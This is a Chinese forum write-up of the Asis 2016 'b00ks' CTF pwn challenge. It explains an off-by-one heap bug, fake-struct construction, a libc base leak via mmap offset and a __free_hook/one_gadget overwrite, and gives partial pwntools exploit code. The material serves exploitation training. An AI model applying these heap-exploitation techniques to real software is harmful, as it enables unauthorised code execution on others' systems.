首页
社区
课程
招聘
[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks
发表于: 2020-11-23 09:37 12597

[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks

2020-11-23 09:37
12597

​ 是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能

image-20201028105150344

image-20201028104637579

image-20201028141700700

输入的author_name保存在bss段的0x202040处

image-20201028140135283

image-20201028140102611

这里存在Off-By-One漏洞。比如输入书名的长度为5,那传入read_input()函数的参数是书名指针和4,在read_input函数里,当i == 4时,循环了5次,读取了长度为5的字符。在最后退出循环之后,又追加了一个0,即往buf里写入了6个字符,所以此处会往buf中越界写一个字符"\x00",存在Off-By-One漏洞。

image-20201028140230108

image-20201111175947659

现在来整理一下:

1)首先程序会要求输入author_name;

2)然后,创建book的时候,book_name和book_description都会各自创建一个堆;

3)还有,创建book的时候,还会创建一个book结构体的堆用来存放book_name和book_descrption的指针;

4)会调用有off_by_one漏洞的函数的地方有三处:输入author_name,book_name,book_description的地方。

5)可以进行编辑的地方有两处:编辑book_description和author_name。

6)bss段如下:

不要被我的截图里的目录名影响,我的实验环境是ubuntu16x64,glibc版本是2.27。

image-20201115135706595

查看程序后发现没有system等函数,保护也只是关闭了Canary,不能改写got表,所以思路就是修改__free_hook地址,让他指向shellcode,这样当我们使用free函数的时候就会自动执行shellcode,获取shell。

如前面分析所说,我们可以进行编辑修改的地方有book_description和author_name,且可以通过修改author_name内容来覆盖第一个book指针的最后两位。(它两可以相互覆盖,比如第一次输入32Byte的author_name,实际会产生一个33Byte的字符串,最后1Byte是\x00,然后创建一个book,那么\x00就会被覆盖;在第1个book存在的情况下去修改author_name,修改输入的长度也是32Byte,那么第1个book指针的最后两位会被\x00覆盖)。打印author_name的时候就会把book1地址连着打印出来。

image-20201115170335102

那么,我们是否可以 伪造一个book ,将这 ”fake book“ 的 book_description 指针指向一个真实的book结构体的 descrition 指针。这样,通过修改这个我们伪造的 book 的 description,我们就可以修改那个真实的 book 的 description 的内存空间,这样,再通过修改此时的 description ,我们就可以做到一个任意地址读写

所以可以通过我们伪造的 fake book 来修改book2 的 description 让他指向 __free_hook ,这时,我们再通过修改那个真实的 book 的 description,也就是现在指向的 __free_hook ,因为没有system等后门函数,所以将它变成我们的shellcode就好了,至于shellcode,我们可以通过 “one_gadget” 在libc中来寻找。

接下来的问题就是如何去构造fake book。在上面我们知道 author name那有一个漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “/x00”,在gdb中我们可以看到存放 book1 的内存之前也就是 name1和 description1 这两块内存,而 description1 我们正好可以修改,那我们只要在 description1中按照 book1 的格式伪造一块内存就能达到我们上述的目的了。

构造好之后要思考的是如何让bss段里的book1指针指过来,因为前面说过 book1指针可以覆盖,那么,我们只要通过合理的申请内存的大小(即让 description1 块的内容区域地址的最后两位为 “/x00”)。这样,修改author_name为32位长度之后,就能覆盖book1指针最后两位为0,就能指向我们伪造的 book 的 description 那儿去。

至于修改“__free_hook”,我们需要知道libc的加载位置。这个的话我们可以通过偏移来计算。当要申请的内存超大的时候,堆的申请会以mmap的形式来进行,而这样申请下的内存与libc是有着固定的偏移的,这个偏移我们通过gdb就可以调试出来。

d. 开始写exp调试解题,首先泄漏book1指针地址。首先输入32 字节的 author_name ,会多输一个 \x00,然后创建一个 book ,会覆盖掉\x00,使得author_name与book_struct1指针直接连在一起,然后当输出 author_name 的时候就会把book_struct1也给输出来(这里要注意申请的book1的name和description的大小,需要让description1的地址的最后两位是0)。

image-20201115144025176

e. 泄漏book2_description堆的地址。创建第2个book,在book1的description里面构造fake book,然后利用author name那的off-by-one漏洞可以改变指向 book1 指针的位置,它能将指针的最后两位变成 “\x00”。book1堆在book1_description堆的下面,结合前面让book1_description地址最后两位为\x00的操作,这样在bss段里book1指针就是指向book1_description的地址了,而book1_description里存放着我们伪造的fake book,伪造的fake_book里name和description存放的是book2的name和description的地址,打印的时候就能把book2的description堆的地址打印出来

image-20201123092728078

f. 泄漏libc基址。方法是book2_description_addr - 偏移,查看此时mmap和libc之间的偏移。如下图所示,book2_description堆的地址是0x00007ffff7f97010,位于第二个mmap中。又因为book2_description_addr是指向chunk的user_data,没有包含prev_size和size,所以偏移为0x00007ffff7f97000 + 0x10 - 0x00007ffff79e2000

image-20201115162907545

one_gadget地址

image-20201115163427646

image-20201115163216737

g. 两次调用editbook函数,编辑description,分别写入free_hook函数地址和one_gadget地址。最后调用free函数以getshell。现在book1指针指向book1_description(fake book),fake book里description指针指向book2结构体里description指针的地址。所以第一次编辑description的时候,就是把free_hook的地址写入book2结构体里,把book2结构体里的description指针改成了free_hook函数地址。第二次编辑description的时候,就把one_gadget地址写入到free_hook里去了。

image-20201115165155480

image-20201123085929689

 
$ file Asis_2016_b00ks
Asis_2016_b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec --file=Asis_2016_b00ks
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      No    0        2        Asis_2016_b00ks
$ file Asis_2016_b00ks
Asis_2016_b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec --file=Asis_2016_b00ks
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      No    0        2        Asis_2016_b00ks
 
 
struct book{
    int book_id;    // offset:0
    char* book_name;    // offset:8   
    char* book_description;    // offset:16 
    int book_description_size;  // offset:24
}
struct book{
    int book_id;    // offset:0
    char* book_name;    // offset:8   
    char* book_description;    // offset:16 
    int book_description_size;  // offset:24
}
 
 
 
 
 
 
 
0x202040 ------------------
                        author_name
0x202060 ------------------ 0x202068
            book1
            book2
                ...
            book20
0x2020FF ------------------
0x202040 ------------------
                        author_name
0x202060 ------------------ 0x202068
            book1
            book2
                ...
            book20
0x2020FF ------------------
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
    gdb.attach(p)
    pause()
 
 
def createbook(name_size,name,desc_size,desc):
    sla('> ','1')
    sla(': ',str(name_size))
    sla(': ',name)
    sla(': ',str(desc_size))
    sla(': ',desc)
 
def printbook(id):
    sla('> ','4')   
    ru(': ')
    for i in range(id):
        book_id=int(p.readline()[:-1])
        ru(': ')
        book_name=p.readline()[:-1]
        ru(': ')
        book_des=p.readline()[:-1]
        ru(': ')
        book_author=p.readline()[:-1]
    return book_id,book_name,book_des,book_author
 
def createname(name):
    sla(': ',name)
 
def changename(name):
    sla('> ','5')
    sla(': ',name)
 
def editbook(book_id,new_desc):
    sla('> ','3')
    sla(': ',str(book_id))
    sla(': ',new_desc)   
 
def deletebook(book_id):
    sla('> ','2')
    sla(': ',str(book_id))   
 
#start
 
# end
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './Asis_2016_b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
 
def dbg():
    gdb.attach(p)
    pause()
 
 
def createbook(name_size,name,desc_size,desc):
    sla('> ','1')
    sla(': ',str(name_size))
    sla(': ',name)
    sla(': ',str(desc_size))
    sla(': ',desc)
 
def printbook(id):
    sla('> ','4')   
    ru(': ')
    for i in range(id):
        book_id=int(p.readline()[:-1])
        ru(': ')
        book_name=p.readline()[:-1]
        ru(': ')
        book_des=p.readline()[:-1]
        ru(': ')
        book_author=p.readline()[:-1]
    return book_id,book_name,book_des,book_author
 
def createname(name):
    sla(': ',name)
 
def changename(name):
    sla('> ','5')
    sla(': ',name)
 
def editbook(book_id,new_desc):
    sla('> ','3')
    sla(': ',str(book_id))
    sla(': ',new_desc)   
 
def deletebook(book_id):
    sla('> ','2')
    sla(': ',str(book_id))   
 
#start
 
# end
 
p.interactive()
createname("A"*32)
createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
createname("A"*32)
createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
 
 
 
 
 
 
 
 
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa") # 1
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)
createname("A"*32)
#createbook(0x20,"aaaa",0x20,"aaaaaaaaa")
#dbg()
createbook(0x80,"aaaa",0x20,"aaaaaaaaa") # 1
book_id_1,book_name,book_desc,book_author=printbook(1) # leak book1_addr
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
leak('book1_addr = ',book1_addr)
 
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)
#dbg()
fake_book_id,fake_book_name,fake_book_desc,book_author=printbook(1)
book2_name_addr = uu64(fake_book_name)
book2_desc_addr = uu64(fake_book_desc)
leak('fake_book_name(book2_name_addr)=',book2_name_addr)
leak('fake_book_des(book2_desc_addr)=',book2_desc_addr)
createbook(0x21000,"bbbb",0x21000,"bbbbbbbb")
payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload) # fake book
changename("B"*32)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 4
支持
分享
最新回复 (2)
雪    币: 14
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
libc基址不就是直接调试出来了吗? 为什么还要多做一步mmap - 偏移? 结果不都是0x00007ffff79e2000?
2021-9-5 16:40
0
雪    币: 14
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
所以是为了泄露服务器上的libc基址, 本地和远程唯一不变的是mmap到libc基址的偏移量
2021-9-5 16:42
0
游客
登录 | 注册 方可回帖
返回
//